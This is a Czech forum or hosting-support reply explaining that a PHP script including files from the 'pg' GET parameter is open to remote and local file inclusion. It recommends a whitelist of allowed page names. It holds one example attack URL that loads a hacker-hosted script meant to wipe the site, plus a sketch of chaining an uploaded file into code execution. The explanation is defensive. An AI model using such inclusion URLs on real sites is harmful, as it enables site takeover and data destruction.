Ve skriptu spoléháte na zapnuté
register globals, které jsou defaultně vypnuté a doporučuji to tak ponechat. Stačilo by na začátek skriptu přidat:
Kód:
$pg = $_GET['pg'];
Skript není z hlediska bezpečnosti vytvořen dobře. Představte si, že někdo (nějaký hacker) zavolá skript s parametrem pg, kam zadá url svého skriptu (to se skutečně děje, že roboti zkouší zadávat jako parametry svoje skripty a snaží se tak ovládnout weby):
Kód:
http://www.nazev-vasi-domeny.cz/index.php?pg=http://www.hacker...ru/smaz_web.txt
To by mu umožnilo na vašem webu spouštět svoje skripty (v uvedeném případě je to skript, který je umístěn v souboru
http://www.hackers...ru/smaz_web.txt). Např. by mohl kompletně vymazat obsah vašeho webu, měnit obsah skriptů, měnit obsah databáze atd.
U nás je standardně u každého webu nastavena konfigurační direktiva
allow_url_include na hodnotu
Off, takže nelze includovat skripty přes http protokol. Přesto je vámi uvedený přístup špatný:
[1] Může se stát, že někdy v budoucnu budete chtít přenastavit hodnotu direktivy
allow_url_include nebo přemístíte stránky na jiný hosting, kde tato direktiva bude zapnutá. V ten moment budou stránky napadnutelné.
[2] I když útočnik kvůli vypnutému
allow_url_include nemůže includovat svoje skripty přes http protokol, tak může includovat jakýkoliv jiný soubor na vašem webu (nemusí mít ani koncovku php), což může mít bezpečnostní následky. Např. si na webu přes nějaký formulář vytvoří textový soubor, kam se mu podaří umístit php kód a tento php kód následně spustí tak, že do proměnné pg nastaví cestu k souboru a spustí skript. Nebo bude moci includovat soubor, u kterého nechcete, aby byl dostupný běžným návštěvníkům (nůže to být ošetřeno přes autentizaci v .htaccess a .htpasswd, která ale nefunguje pro includování v php skriptech).
Proto bych doporučoval před includováním skriptu, který získáte z proměnné pg provést ověření, že název skriptu je jeden z povolených názvů, např. takto:
Kód:
<?
$pg = $_GET['pg'];
if ($pg != 'home.php' && $pg != 'kontakt.php' && $pg != 'blog.php') {
$pg = "home.php";
}
require($pg);
?>